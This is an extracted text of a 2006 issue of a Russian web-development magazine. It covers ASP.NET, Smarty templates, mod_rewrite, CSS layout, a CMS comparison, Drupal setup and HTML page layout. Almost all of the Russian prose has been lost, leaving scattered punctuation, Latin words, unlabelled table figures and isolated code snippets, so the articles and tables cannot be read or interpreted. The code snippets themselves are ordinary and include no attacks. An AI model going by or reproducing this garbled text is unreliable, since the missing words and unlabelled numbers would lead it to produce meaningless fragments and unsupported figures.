You are on page 1of 100

WEB 2.0 .

HTML. Web-
, .
PHP CMS ,
AJAX web- . ...
, , . , , !

06(67) 2006

www.xakep.ru

.
.
,
, .
.


AvaLANche (avalanche@real.xakep.ru)

Dr.Klouniz (alexander@real.xakep.ru)
(andrusha@real.xakep.ru)
CD/OFFTOPIC
SkyWriter (sky@real.xakep.ru)

(valy@real.xakep.ru)
-
(vasin@real.xakep.ru)

(zhukova@real.xakep.ru)

(game)land
(igor@gameland.ru)

(olga@gameland.ru)

E (olgaeml@gameland.ru)
(goryacheva@gameland.ru)
(alekhina@gameland.ru)
,

(grigoriev@gameland.ru)
-
(alekseeva@gameland.ru)
.: (495) 935.70.34
: (495) 780.88.24


(vladimir@gameland.ru)

(andrey@gameland.ru)

(popov@gameland.ru)
.: (495) 935.70.34
: (495) 780.88.24

06
08
12
16
18 CSS
22
28
34

web

ASP.NET

CSS

Drupal

web-

38 !

PUBLISHING

(pokrovsky@gameland.ru)

(sidorovsky@gameland.ru)

(dmitri@gameland.ru)

(dianova@gameland.ru)

.: 8 (800) 200.3.999 ( )

101000, , , / 652,
spec@real.xakep.ru
http://www.xakep.ru
ScanWeb,

,

77-12014 4 2002 .
42 000 .
.

42 WEB-
48
52 AJAX
Web 2.0 ,

PHP5 & ndex.XML


56
60
IPHP-

SPECIAL DELIVERY

62 SPECIAL
66 SPECIAL
68 SPECIAL
72 SPECIAL FAQ

Defa Gruppe



. HTML-, ,
,
.
DEFAGRUPPE. DEFAGRUPPE,
. : MTV, P&G, ,
, , UPECO, RITZIO ..

offtopic
HARD

CREW

74

86 E-

SOFT

STORY

80 NONAME
82 ADMINING

88 THE SHOW MUST GO ON


96

nnm.ru
.

CD :
CMS
Drupal 4.7.0 (+RU)
eZ Publish 3.8.0
Joomla! 1.0.8
Joomla! 1.1.0 alpha2
Apache Lenya 1.2.4
PHP Nuke 7.8
Typo3
WebGUI 6.7.7
Wordpress 2.0.2
Xaraya 1.1
Xoops 2.0.13.2

Apache 1.3.36
Apache 2.0.58
Apache 2.2.2
Cocoon 2.1.9
Tomcat 5.5.17
JRE 1.5.0.06
Denver 2006-04-25
ActivePerl 5.6.1
ActivePython 2.4.3
PHP5 2.6.1
MySQL 4.1
PostgreSQL 8.1.0
.NET Framework 1.1/2.0 RU/EN
Instant RubyOnRails 1.3


AJAX.NET (5.11.4.2/6.5.17)
ComponentArt WebUI
Subsys JsHttpRequest
Prototype 1.4.0
script.aculo.us web 2.0
MagpieRSS 0.72
ZendFramework 0.1.3
NuSOAP 0.7.2
Smarty 2.6.13

NONAME
Flaming Pear Flexify v2.02
Gmetal Guikit Windows XP
EscapeClose Pro 2.0
PDF Image Extraction Wizard 1.0
FastStone Image Viewer 2.6 Beta 2
Copy DVD Gold 2.12
EVEREST Ultimate 2.80.577 Beta
Stardock ObjectDock Plus v1.3
Remote Administrtor 3.0 Beta 1
htm2chm 3.0.9.3
Perfect Keylogger 1.6.2
Fetch Text URL 1.6
LimeWire Pro 4.11.0.1.Final
Advanced RAR Password Recovery (ARPR)
BearShare Pro 5.2.3.10
+

WINDOWS

-
,
, . . ?
- , - !
-. ?
!
.
!

0 6

6 7


( ),
,


{ a n d r u s h a @ r e a l . x a k e p . r u }

1994

1994


, PHP
(w w w . p h p . n e t ) - ,
. . ,
PHP
Personal Home Page Tools.
1999 , PHP, .
PHP , -

-

(w w w . w 3 . o r g ),
,
.
. :
HTML, CSS, XML, XHTML ..
, ( w w w . w 3 . o r g / 2 0 0 5 / 1 1 / T r a n s l a t i o n s / L i s t s / L i s t L a n g - r u . h t m l ).



Windows Unix Linux.

1995
(0.6.2)
Apache (w w w . a p a c h e . o r g ).
Apache Group ,

. -

1997
, , ..,
web- Apache
.

RSS (w w w . e o p t a . c o m / s p e c / r s s / )
XML-, , ,
.. , RSS, ,
-.

RSS-, : Safari,
Maxthon, Mozilla Firefox, Mozilla
Thunderbird, Opera Microsoft
Internet Explorer.

1999

1999

web-
(w w w . w e b m a s c o n . c o m ). ,

web-,
.
,
,
web-. :

SOAP (w w w . w 3 . o r g / T R / s o a p / )

. SOAP
(RPC),
: Simple Object
Access Protocol
. SOAP XML,
.

w w w . a l i s t a p a r t . c o m ,
w w w . u s e i t . c o m / a l e r t b o x / ,
w w w . b o x e s a n d a r r o w s . c o m ,
w w w . d i g i t a l - w e b . c o m ,
w w w . s t o p d e s i g n . c o m ,
www.adaptivepath.com.

2002
.NET ( -)
, Microsoft ( w w w . m i c r o s o f t . c o m / n e t / d e f a u l t . m s p x )
, web-.
.NET , Java.
.NET -

2004
,
. , , C++ .NET,
, Delphi.
() .NET
,

.

2005
Web 2.0
Tim OReilly
What Is Web 2.0 (w w w . o r e i l l y n e t . c o m /
pub/a/oreilly/tim/news/2005/09
/ 3 0 / w h a t - i s - w e b - 2 0 . h t m l ).
-

,
,
- Web 2.0.
, .


AJAX
( JavaScript + XML)
Gmail (w w w . g m a i l . c o m ).
, AJAX

:
AJAX-
( IE, Firefox
Opera ).

0 6

6 7


ASP.NET

MICROSOFT
,
WEB .
ASP.NET

. ASP.NET .
MySpace.com,
ASP.NET 2.0
IIS 6.0.

. ,
? - .
MySpace.com ASP.NET
( , ,
). 85% 27%. ?
web- !

?
? , .
. ,
-windows- web-

, MSN eBay. web-.
,
, -


{ n o e - m a i l }

ASP.NET , ,
. , , .
ASP, ,
.

.
, CGI (Common Gateway Interface), ISAPI (Internet
Server Application Programming Interface).
web-

Unix, . ,
CGI-.
, . ISAPI-, , (DLL), web-. web-.
ISAPI- .

A S P

,
.NET Framework
1.1

2.0

namespace WebApp1
{
public class WebForm1 : Page
{
protected Label Label1;
private void Page_Load(object sender, System.EventArgs e)
{
}
#region Web Form Designer generated code
override protected void OnInit(EventArgs e)
{
InitializeComponent();
base.OnInit(e);
}
private void InitializeComponent()
{
this.Load += new System.EventHandler(this.Page_Load);
}
#endregion
}
}

web-,
web-
web .
, web-, , , ,
.
ASP (Active Server Pages)
. ,
.
, .
ASP-. ,
.


.NET, C#,
. C, , 25%
,
75% .
C++
: 50% 50%.
C#, ,

75% 25% .

ASP.NET.
ASP.NET
:
.NET;

(COMMON LANGUAGE RUNTIME CLR);
.NET;
ASP.NET;
VISUAL
STUDIO .NET.

, . - ASP.NET.
WEB- . HTML- ASP.NET .


(CMS).

. : ,
, , ,
,
www.asp.net.

namespace WebApp1
{
public partial class Webform1
{
}
}

. ADO.NET
. ADO.NET
MICROSOFT

.

, -, .


,
.

X M L .
XML,
. , ASP.NET,
XML-. XPATH , XSL . ASP.NET
VISUAL
STUDIO, .
MICROSOFT .

. ASP.NET
.NET Framework , .

1 0

0 6

6 7


ASP.NET

PHP4

PHP5

J2EE

5
5
5
5
5
4
5
2
4

3
4
2
3
4
5
5

4
4
2
3
4
5
5

5
5
4
5
3
4
5
3
3

(Intel)
C (gcc)
C++ (g++)
C++ (Intel)
Java (JDK)
C# (Mono)
Perl
PHP

, .

4,05
4,12
5,05
5,23
8,23
8,45
249,39
519,68

4284
4528
7008
6516
23636
21416
37516
99912

80
80
38
38
39
42
36
40

web-
.

, .
.
web- ( aka ).

,

web-.
.

,
.
. , , -

ASP.NET
,

,
. ,


.


web-.
.
30%. web- IIS 6.0 ,
Windows.
ASP.NET:

.


WEB-.

.
.NET FRAMEWORK.
E-MAIL-,
XML-, ,
.
. . MICROSOFT , . -
,
, .
, ,
MICROSOFT
.
, . - ,
-
, -

Zend PHP


.NET

ADO.NET
Web-
XML
/
..

VB.NET

...


(CLR)




.NET

C#, VB.NET,
J#.NET .
: , .
.
VISUAL STUDIO.
, ,
ASP.NET.

1 1

. MSDN ,
,
.
ASP.NET.
ASP.NET
, .
,
WEB-

.

. ,
WEB-,
MICROSOFT.
: ,
, .
.
.
.
. ,
ASP.NET- .
. MICROSOFT
,
-
.

. Microsoft
, ASP.NET -windows-.
, ASP.NET, Mono
Project (www.go-mono.com). , , .
.
- , ASP.NET . ,
web-.

,
-

VS ASP.NET

.
, , web-.
, .
, -
: ,
. , , : , .
.
.
ASP.NET
. ,
.
J2EE PHP C#
ASP.NET, ,
. ,

web-.
Microsoft Windows Embedded,
.
? : Visual Studio,
Mono Linux Gentoo. ,
- .
. ,
Mono
Novell, Microsoft , . . ,
web-, Apache XSP.
Windows
,
, , , ASP.NET,
Microsoft ,

1 2

0 6

6 7





,
. ,



, , . HTML. PERL + HTML PHP + HTML, , HTML-.
.
, , . ,
. , , ,

.

{ n o

e - m a i l }

. ,
. .
.
. ,
,
. , . .
.
,
, , ,
. , . ,
, .

, .

.
.
, ,
usability.
- , .
, , , , , .
, , ,
.

, :
.
. ,
( , 200 ),
HTML,
.
. , , , : ,
, -, , , CMS - .
,
, , , .
. .
, , .
. usability-:
, . -
,
.
. ,
, usability. , , .
, usability . , -

Adobe Photoshop ,

-,
. .
, usability:

(
) , ( ,
),
.

, , . ,

(
).


, -
, , .
, ,
,
. , .
.

: , -

UltraEdit ,
.

1 3

, .
,
,
.

,
.
.

,
.

.


(

,
www.bluevertigo.com.ar).

. Web-
: Adobe Photoshop
Macromedia Flash. Adobe Illustrator , ,
.

( Adobe Type Manager) .
, web-, .
, , .

,
.

.

1 4

0 6

6 7

Dreamweaver
, help, validator, autocomplete

, ( Verdana, Tahoma, Arial),


( , )
, .
. () ,
.
( ).
( )
. ,
: , ,
. ,
CMS.

. ,

DEFA Gruppe W3C, , ,


CSS. H1H5. ,
,
<strong>. title
, alt
(, ,
, -
) ..

, , . , ,
.
Macromedia
Dreamweaver HomeSite. ,
, . , ,
EditPlus ,
.
-

,
.
. , flash-
javascript, flash-, .

flash, html-,

flasha. javascript,
.
. , ,
.
, : PHP, MySQL, XML, CSS
.

Macromedia Homesite , HTML-

. PHP- (),
, . , ,
, , .

CMS ( . .), ,
, . CMS ,
. ,

ibrowser, HTML- FCKeditor.
CMS.
Mambo CMS

.
, web- , *nix
. UltraEdit
web-,

Macromedia Dreamweaver 8 HTML-, PHP, PERL, CSS, JavaScript

GamePost

:
Fahrenheit ( Indigo
Prophecy) 2005 .
,
,
, .
, , , , .

Fahrenheit (Indigo Prophecy)

$69.99

Adventure

:
Guild Wars
MMORPG , ,
. ,
.
.

Guild Wars Special Edition (EURO)

$79.99

RPG

:
Age of Empires III
XVI-X
XIX .
,
.

.

Age of Empires III

$79.99

Strategy

!
GamePost

1 6

0 6

6 7


{ w w w . d i f o c u s . r u }

Smarty. ,

. Smarty
, PHP.
. , , . , ,
, , ..
.
. , Smarty - . Smarty {}, , PHP, .
Smarty,
Smarty,
http://smarty.php.net.
. Smarty ,
.
input , , select-
, , {foreach}.
scape. Smarty, , , HTML, PHP, Smarty.

//,
//
?>

$n
am
e

$t
im
e


WEB-
.
WEB
.
,

<?

$smarty,
, php-


(
, -
)

Smarty
{$articleTitle}
{$articleTitle|escape}
{$articleTitle|escape:"html"}
{* & " ' < > *}
{$articleTitle|escape:"htmlall"}
{* , *}
{$articleTitle|escape:"url"}
{$articleTitle|escape:"quotes"}
, -mail
, ,
. :
, , .... Escape
.
-m
mail
<a href="mailto:{$EmailAddress|escape:
"hex"}">{$EmailAddress|escape:"hexentty"}</a>
-m
mail ,

<a href="mailto:%76%61%73%75%6e%6a%61%
40%67%6d%61%69%6c%2e%63%6f%6d">&#x76;&#x
61;&#x73;&#x75;&#x6e;&#x6a;&#x61;&#x40;
&#x67;&#x6d;&#x61;&#x69;&#x6c;&#x2e;&#x63;
&#x6f;&#x6d;</a>
html_options.
, .

{$name} {$time}

- Smarty
PHP-

{foreach}
{foreach from=$dataselect item=item}
<option value="{$item.key}">
{$item.value}</option>
{/foreach}
if,
. .
html_options,
PHP .

$oParser->assign(optionts,Array
(key=>value, key1=>value1,
key2=>value2, key3=>value3);
$oParser ->assign('defaultopt', key2);

<select name=customer_id>
{html_options options=$optionts
selected=$defaultopt}
</select>
cycle.
.

: ,
.. !


,
,



SMARTY.

( ,

SMARTY)
http://smarty.php.net


{section name=rows loop=$data}
<tr bgcolor="{cycle
values="#eeeeee,#d0d0d0"}">
<td>{$data[rows]}</td>
</tr>
{/section}
plug-iin'. Smarty plugins. ,
. -, -

M O D _ REWRITE

web- Apache
1996 The
Apache Group 1997.

(
), URL
.
, URL. URL
, , , HTTP-,
URL .
! ,
, .
mod_rewrite.
Mod_rewrite ( URL). , -

-
,

<?php
function smarty_modifier_lower($string){
return strtolower($string);
}
?>

, {$name|lower}!
{$time}.
. , .

<?php
function smarty_function_join($params,
&$smarty){
if (empty($params['array'])) {
return;
}
if (empty($params['separator'])) {
return;
}
if(is_array($params['array'])){

: , : /news.php?date=21-12-2006.
URL, : /news/2006/12/21. mod-rewrite .htaccess.

return join($params['separator'],
$params['array']);
}
}
?>

, PHP-

<?php
$oParser = new tmpl();
$oParser ->setTmpl(mail.tpl);
$aArray = array();
$aArray[] = ;
$aArray[] = ;
$oParser ->assign(name, $aArray);
$oParser ->assign(time,$time);
$oParser->display();
?>

, {join array=$name
separator= }!
{$time}.

. ,
.
! , Smarty

RewriteRule



. , www .
mod-rewrite www.

RewriteRule

URL

www
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} !^vpup.com$
RewriteRule ^ http://vpup.com%
{REQUEST_URI} [R=301,L]
RewriteRule
, mod_rewrite URLs .
( URL).

URL

.htaccess, URL

RewriteEngine On
RewriteRule /news/(\d{4})/(\d{2})/(\d{2})
/news.php?date=$3-$2-$1

1 7

1 8

0 6

6 7


CSS

CSS

CSS (CASCADING STYLE SHEETS)


HTML, XHTML,
XML.
WEB.
-

( ) ,


{ v l a d @ o n t h e f l y . r u }

.
, -
. , CSS,
. , ,
. , , .
,
,
, . ? , - , -

,
-.
,
web-. ...
. :
! ,
. , - -


:
WWW.INFO.COM.PH/~ETAN/W3PANTHEON/STYLE/ABMH.HTML

- , () W3C, web- ,
. , , , .
. , ,
-. HTML.
web- ,
web
, . , ,
.
web , . -

Internet Explorer

web-
, HTML ,
.
, web-, , .
, , HTML, . ,
HTML,

,
.
,
Best viewed with...
.
.
,
CSS ( W3C
1996 ),
(Cascading Style
Sheets). , , , ,
. HTML, ,
CSS ,
, .
CSS
,
:
,
, CSS .

Microsoft, (IV
2005 , COUNTER.COM)
Browser

Microsoft Internet Explorer 6


Microsoft Internet Explorer 5
Mozilla/Firefox
Safari
Unknown
Opera x.x
Netscape 7
Netscape compatible
Microsoft Internet Explorer 4.x
Netscape 4.x
Konqueror
Netscape 6

usage

83%
3%
8%
2%
1%
1%
1%
< 1%
< 1%
< 1%
< 1%
< 1%

1 9

.box{width:100px; padding:10px; border:10px}

. , ,
web, CSS

.
web- -.

CSS HTML web- ( )
.

,
,
. , .
web- , , .
, Opera.
- ,
(-!)
.
,
W3C
Mozilla. : , ,
MacBU, Tasman HTML. - web-
,
PNG.
. MacBU
Microsoft. 200
Macintosh Aplle. Tasman Internet Explorer 5.5
Macintosh, 2000 .
, - Safari
MacBU , .
. , CSS . : )

( ); ) (); ) (, ..)
.
CSS :
HTML- ;


( );


,
;

(, ..).

web- , :
(
), ,
, :

) .

*.CSS,
HTML-. :
<STYLE TYPE="TEXT/CSS"
MEDIA="SCREEN">@IMPORT
URL(/STYLES/SCREEN.CSS);</STYLE>
) .
CSS
HTML-:
<STYLE TYPE="TEXT/CSS"

2 0

0 6

6 7

MEDIA="SCREEN">.STYLE {FONT-FAMILY:
VERDANA,SANS-SERIF}</STYLE>
) , STYLE :
<P STYLE="FONT-WEIGHT:BOLD">
. ( OPERA)
,
CSS-
. .
2

.
,

HTML
.


. !important,
. , , . .
. CSS
. ,
(padding) (borders). Internet Explorer
( 6),
. IE

,
. Netscape 4 Opera 7.
CSS3
box-sizing, ,
content-box
, border-box IE. Mozilla,
CSS3,
-moz-boxsizing. , (
) padding-box, , , .
(X)HTML-
(DOCTYPE).
.

www.webmascon.com web- web-


www.alistapart.com for people who make web-sites ;)
http://glish.com/css CSS .
www.meyerweb.com/eric/css CSS
www.artlebedev.ru/tools/technogrette

,
(quirksmode) W3C, . web-
IE6: XHTML 1.0
Transitional, (<?xml version="1.0"?>), quirks-mode, , . , .
CSS , . , ,
. , , 20-30% (
), - .
.
web- , ,
. : ... CSS.
CSS-.
,
, . :
/* */
{ width: 100px; padding: 10px;
border:10px; }
/* IE
*/
* html { width: 140px;
padding: 10px; border:10px; }


CSS
AZIMUTH
BORDER-COLLAPSE
BORDER-SPACE
CAPTION-SIDE
COLOR
CURSOR
DIRECTION
EMPTY-CELLS
FONT
FONT-FAMILY
FONT-STRETCH
FONT-SIZE
FONT-SIZE-ADJUST
FONT-VARIANT
FONT-WEIGHT
LETTER-SPACING
LINE-HEIGHT
LIST-STYLE
LIST-STYLE-IMAGE
LIST-STYLE-POSITION
LIST-STYLE-TYPE
ORPHANS
PAGE
PAGE-BREAK-INSIDE
QUOTES
SPEAK
SPEAK-HEADER
TEXT-ALIGN
TEXT-INDENT
TEXT-TRANSFORM
VOLUME
WHITE-SPACE
WIDOWS
WORD-SPACING

P {
color: #336699;
border-style : solid;
border-width : 1px;
border-color : #ff0000;
font-weight : bold;
line-height : 1.3em;
margin-bottom : .7em;
margin-left : .4em;
margin-right : 1.3em;
margin-top : .7em;
border-color: #c06565;
}

P {border: 1px solid #f00;


font-weight : bold;
color: #369;
line-height : 1.3em;
margin: .7em 1.3em .7em .4em}


HTML 4 Strict

<A>
<ABBR>
<ACRONYM>
<B>
<BDO>
<BIG>
<BR>
<CITE>
<CODE>
<DFN>
<EM>
<I>
<IMG>
<INPUT>
<KBD>
<LABEL>
<Q>
<SAMP>
<SELECT>
<SMALL>
<SPAN>
<STRONG>
<SUB>
<SUP>
<TEXTAREA>
<TT>
<VAR>

<ADDRESS>
<BLOCKQUOTE>
<CENTER>
<DIR>
<DIV>
<DL>
<FIELDSET>
<FORM>
<H1>
<H2>
<H3>
<H4>
<H5>
<H6>
<HR>
<ISINDEX>
<MENU>
<NOFRAMES>
<NOSCRIPT>
<OL>
<P>
<PRE>
<TABLE>
<UL>
<DD>
<DT>
<FRAMESET>
<LI>
<TBODY>
<TD>
<TFOOT>
<TH>
<THEAD>
<TR>

, ,
Microsoft, Opera 5 Netscape
4
. , Netscape

@import. ,
. , : , .
CSS- www.dithered.com/css_filters/css_only.

Microsoft:
.
( Conditional Comments), Internet
Explorer 5.x.

<!--[if IE 5]>
<link rel="stylesheet" type="text/css"
href="css/IE5.css" />
<![endif]-->
, , Javascript . ,
, .
. CSS

printer-friendly .
,
, none display;. , ,
,
.
,

( -)
.
.
, ,

.

( ),
.
,
Microsoft Office.
. ,
, , ,
.
.
. , ,
, .

2 1

. Mozilla ( , Gecko:
Firefox, Netscape, Camino .), ,
float. ,
. , ,
. , : float none .

, CSS.
Going to Print A List Apart.
: , , URL ( ?).
CSS2.
URL . Mozilla Netscape 6.x.
a:link:after, a:visited:after {
content: " (" attr(href) ") ";
font-size: 90%;
}
,
,
( ) . ,
( !)
www.webmacson.com. ,
, ... , .

:). , , WebTV, .
, , RGB,
,

Internet Explorer DOCTYPE


(quirks )
doctype

HTML 4.01 Transitional - doctype


HTML 4.01 Transitional - URL doctype
HTML 4.01 Transitional - doctype
XHTML 1.0 Transitional - doctype
XHTML 1.0 Transitional - URL doctype
XHTML 1.0 Transitional - doctype
XHTML 1.0 Transitional -
XHTML 1.0 Transitional - URL

Win/IE5

Win/IE6

Mac/IE5

quirks
quirks

quirks
quirks
quirks

quirks
quirks

quirks
quirks
quirks

quirks
quirks

quirks

2 2

0 6

6 7


.

, .
.


{ b o r i s v o l f s o n @ g m a i l . c o m }

,

.


- . ,
, .

www.joomla.org
www.mamboserver.com
: 2 M


, , ,
, - .

,
. eZ publish

phpBB, phpNuke, Mambo, Joomla


Drupal ,
,
.
CMS? , . CMS web-, ,
( ).

Joomla (Mambo)

www.ez.no
: 9 M

eZ publish 3.x

. -,
- , web ,
, . Perl. - , . ,
CMS . ,
PHP, MySQL
CMS, . ,
CMS (Content Management System ),
. , .

2 3

CMS ,

.
CMS, , web- Apache,
IIS. PHP Perl,
.
MySQL
. ,
CMS .

(
1.0.8), ,
. Joomla
Mambo

.

, Open Source.

Mambo (Joomla)

.
,
. web.
CMS zip-,
Joomla

.



. Joomla
, web- .

6 7


CMS. ,
Nuke
,
. , PHP-Nuke , , . -


.
Nuke , SQL CMS.


.

, . ,
Typo3
CMS,
CMF Content Management Framework.
,
,
(

Epson Philips) . ,
. Typo3
,
.

www.plainblack.com/webgui
: 3,5 M


cmsmatrix.org, .
.


, ,

WebGUI
. ,

Perl, CMS.

http://wordpress.org
: 0,5 M

0 6

WebGUI

WordPress

http://phpnuke.org
: 6 M

http://typo3.org
: 7 M

Typo3

PHP Nuke

2 4


. ,

.
CMS,

,
WordPress.
.

Google
2

eZ publish 3.x

Joomla! 1.0.7

PHP Nuke 6

TYPO3 4.0

WebGUI 6.8

WordPress 1.5

Xaraya 1.0

Xoops 2.06

5 710 000
16 100

91 400 000
104 000

76 600 000
332 000

13 300 000
4 760

589 000
702

174 000 000


952 000

2 030 000
6 960

31 300 000
90 200

MySQL
PostGreSQL
Oracle
MSSQL

MySQL

MySQL
PostGreSQL
Oracle
MSSQL

MySQL

MySQL

MySQL
MySQLi
PostgreSQL
SQLite

MySQL

PHP

PHP

MySQL
Postgres
mSQL
Interbase
Sybase
PHP

PHP

Perl

PHP 4.1.0

PHP

PHP 4.1.0

Captcha 3

-mail



4


5


(Drag and Drop)


e-mail 7




API

( URL) 8


WYSIWYG- 9
Zip-

10


11

2 5

http://xoops.org
: 1,1 M

Xoops

2 6

0 6

6 7

XOOPS (eXtensible Object Oriented Portal System)


- .
,
MySQL.

G O O G L E , GOOGLE

, CMS. JOOMLA JOOMLA | MAMBO.

( ).
CMS,


. Xoops
nuk .

CMS. GOOGLE .

C A P T C H A , -

-, .

, ,
LDAP.

, ,
.

, .

E - M A I L

( U R L , ) ,

http://xaraya.org
: 3,8 M

Xaraya


Nuke,
. Xaraya PostNuke.
Xaraya
,

W Y S I W Y G - JAVA-SCRIPT, -

, HTML.

XML.
,
CMS .

10

Z I P - ZIP--

, (
), .

11

12

13

14

( ) -

15

DOWNLOAD, -

16

. -

17

- -

( BUGZILLA).

18

19

, , .

20



12

Web-

Web-

CGI

RSS
FTP
UTF-8

13

URL
Wiki

() 14







.

16

17
18
19
RSS
()
20

Web-


(FAQ)

15

2 7

2 8

0 6

6 7

10

DATABASE ADMINISTRATION

DRUPAL.

F L E X I N O D E .

V I E W S
.

TINYMCE WYSIWYG EDITOR



.

T A X O N O M Y C O N T E X T .

G O O G L E S I T E M A P
.

A T T A C H M E N T
.

N I C E M E N U S
.

B O O K M A R K S
.

10

C A P T C H A
.

1.



DRUPAL


.


. DRUPAL !


{ b o r i s v o l f s o n @ g m a i l . c o m }

2000 Drupal. druppel , .


(Dries Buytaert), ( ) .
Drupal, ? -
, CMS ,
.
Drupala ( ): -

(. ) (. ). - , CMS
. Drupal
,
Smarty, PHPTemplate. - ,
CMS
Drupal , (http://themes.drupal.org).
, CMS
. : . ,
( ) Drupale ,
PHP ( : ). , - , HTML.

,
HTML
.
, web-, . -, Drupala.
PHP, HTML CSS. -,
web- PHP, . , PHP-, ,
,
-. -,
,
.
! Drupal, web-, PHP, Apache 1.3.x 2.0.x. IIS .
PHP, 4.6 PHP 4.3.3 . MySQL PostegreSQL,
, MySQL , SQL- MySQL.
CMS?
,
, CMS. , , .

voila! !
, , . : , .
,
drupal.org.
. , \sites\default\settings.php
$db_url = 'mysql://username:password@localhost/databasename';. username password
. localhost , , databasename . ,
drupal47, drupal a8j4dt6. , : $db_url = 'mysql://drupal:a8j4dt6@localhost/drupal47';.
, ,
: $base_url = 'http://www.example.com';,
.

web-. ,
SQL-, \database\database.mysql. phpMyAdmin, -

. SQL-,
. .
.
, Drupal,
, , . ,
.
,
, , . ,
, -, web- . , :
,
,
, ,
.
, . ,
.
( 1).
. administer-modules
locale.
. , forum.


:
README.TXT,
.
,
.


/MODULES.

3 SQL-
( .MYSQL)
DBA,
PHPMYADMIN.

,

.

2 9

3 0

0 6

6 7

www.drupal.org drupal'a .
http://drupalgarden.com
http://drupaldocs.org api.
http://www.drupal.ru , . ,
http://drupal.kiev1.org, http://drupal.htdogs.ru ,
http://civicspacelabs.org ( )


( http://drupal.htdogs.ru/files/NRD-drupal-ru-4.7.0-beta-6.zip) .
main.po, .
.

PHP- , ,
translation.
, .
. -,
.
Clean URLs ( , )
.

. -, . . Anonymous
user . . Authenticated user ,
. Moderator .

, . Administrator ,
.   .

( 2).

.
. ,
. , read only. ,
.
-
, ,
..
.

2.

.
,
.
, , , .
,
, ,
. ,
- . Drupal
. ,
.
.
: , , , .
.
-,
. , ,
, , , .
.
, ,
.
.
: , , ..
.
, , ,
. CMS, Drupale
, , , . . -

Drupala

Aggregator
Archive
Block
Blog
Book
Comment
Contact
Filter
Forum
Locale
Menu
Node
Page
Path
Poll
Profile
Search
Statistics
Taxonomy
Throttle
Upload
Watchdog

RSS-
. ,


,

web-.
, , FAQ

e-mail
, ,
HTML-

( )



URL. ,
URL /taxonomy/term/17+19 /myfriends
Drupal
(
, )

: ,
, ..

Denial of Service (DoS)

, ,
, , , . ,
.
bookmarks , , , .
-. ,
: ,
.
,
-
.
,
.

:
. ,
. ,
velo,

www.velobabruysk.ru/velo. , , Drupal ( )
, velo. -
,
velo.
- .
, .
.


.


.

.



,
.




,
.
( )

,

.

.

,
.


.
DRUPAL
UNICODE
.
DRUPAL'

.
.

DRUPAL.

3 2

0 6

6 7

www.drupal.org Drupal'a
http://drupalgarden.com
http://drupaldocs.org API.
http://www.drupal.ru , . ,
http://drupal.kiev1.org, http://drupal.htdogs.ru ,
http://civicspacelabs.org ( )

3.

,


APACH WINDOWS. , DRUPAL
IIS, , CMS
APACH. ,


(HTTP://DENWER.RU),
. : WEB , , OUT-OF-BOX.

,
,
. ,
. 30-
,
.
.
-, ,
, .
,
, -
. , www.velobabruysk.ru/admin/taxonomy/4. ,
,
www.velobabruysk.ru/taxonomy/term/4. , . . www.velobabruysk.ru/taxono-

.
WIN- , . ,
.

,
4 / 5.
, views,
web. , , , ,
.
-. :

,
, . ( 3).
,

. ,

my/term/4+5

3 3

Drupala

Administration

Drupala , .

AdSense
Google Adsense, .
( ). ,
PHPTemplate
AJAX Spellcheck
AJAX ( Google)
Attachment
Upload .

Banner
.
. , ( Flash)
Bookmarks
,
Captcha
, ,
: -
Chatbox
Drupal
Codefilter
. <code></code> <?php ?>
Database Administration
Drupal. SQL-,
,
E-Commerce
web-
FCKeditor for Drupal
FCKeditor
FileRequest
, .
,
.
Flexiblock
, ,
Flexinode
web-
Gallery
Drupal gallery2 (http://gallery.menalto.com)
Google Sitemap
Google
Htmlarea
Drupal HTMLArea
Image
Drupal ,
Img_assist

Internationalization

Nice Menus
(CSS JavaScript). ,
Organic groups
Drupal ()
Pathauto
(URL-)
phpBB2Drupal
phpBB Drupal
Project
. , ,
Drupal
Site map

Taxonomy Access Control ( )
Taxonomy Block
()
Taxonomy Browser
, ,
URL taxonomy/view/and/3,4,5
Taxonomy context
, , (breadcrumb),
-
Taxonomy image

TinyMCE WYSIWYG Editor Drupal TinyMCE. , Drupal
Urlfilter
URL
User Points
,

Views
web-
Block Bar

G2 Glossary

htmlwrap
, ( URL) ,

Path Access
URL
Premium

Recent blocks

User maintenance

Weight

3 4

0 6

6 7

WEB-
WEB-
.
,
HTML , CSS .. WEB-


{ b o r i s v o l f s o n @ g m a i l . c o m }

. , web-, ,

, , .
, .
web-,
.

.
web-
, ,

, .
, . -, .
, .

, .
. - . ,
, -

,
.
web- ,
.
.
, , td:
colspan
rowspan . HTML, (Internet Explorer , ),
. ,
.

c. div,
span. div . (, .),
div
(CSS).
web-
, , , ,
.
web-. .
float, , .
. : left ( ), right ( -


html


.

CSS ( ), ,
, ,
.

:
HTML,
CSS,
.
HTML
,
(
).

.
FIELDSET, LEGEND .
:

fieldset legend


, .
ACCESSKEY. DISABLED
READONLY
(, ) . LABEL
, . : , ,


. . ,
:
-.
,
- . ,
, ,
.

) none. clear .
, both.
. web- .
,
HTML+CSS.
.
:
XHTML 1.0 CSS style.css, ,
index.html:
<!DOCTYPE html PUBLIC "-//W3C//DTDXHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title> </title>
<link rel="stylesheet" type="text/css"href="style.css" />
</head>

XHTML Strict,
web-.
meta , . ,
web- , . title , link style.css .
div all:

HTML-
VS.


, web- NotePad, HTML,
web- ( , , Dreamweaver).
, . ,
web-,

. -

3 5

<body>
<div class="all">
<! -->
</div>
</body>
HTML- , CSS.

, margin-left margin-right body.
, .

div.
: , ,
.
all ,
.
body
{
margin-left: 1%;
margin-right: 1%;
font-family: Arial, Helvetica, sans-serif;
font-size: 10pt;
background-color: #FDFDEF;
}
div
{
margin: 0px;


, .
FAR, . ,
.
: (,
, FAR ), ,
, .
, , .


, . , ,
.
:

.

, p
align, center, span align left.
, Dreamweaver
.
, .

3 6

0 6

6 7

www.w3.org World Wide Web Consortium,


http://validator.w3.org html-, -, -
http://jigsaw.w3.org/css-validator CSS-,
www.htmlbook.ru html, CSS . html CSS

padding: 0px;
border: 0px;
/* border: 1px solid black; */
}
.all
{
}
.
, ,
div all.
. , ( ) .
, . index.html:
<div class="logo_and_submenu">
<div class="logo"><img width="255"height="108" alt=" Splendot"src="logo_gray.jpg" /></div>
<div class="submenu">
<p><strong><a href="#"></a></strong>&nbsp;&mdash;
</p>
<p><strong><a href="#"> </a></strong>&nbsp;&mdash; ,
</p>
<p><strong><a href="#"></a></strong>&nbsp;&mdash;
</p>
<p><strong><a href="#">
</a></strong>&nbsp;&mdash;
</p>
</div>
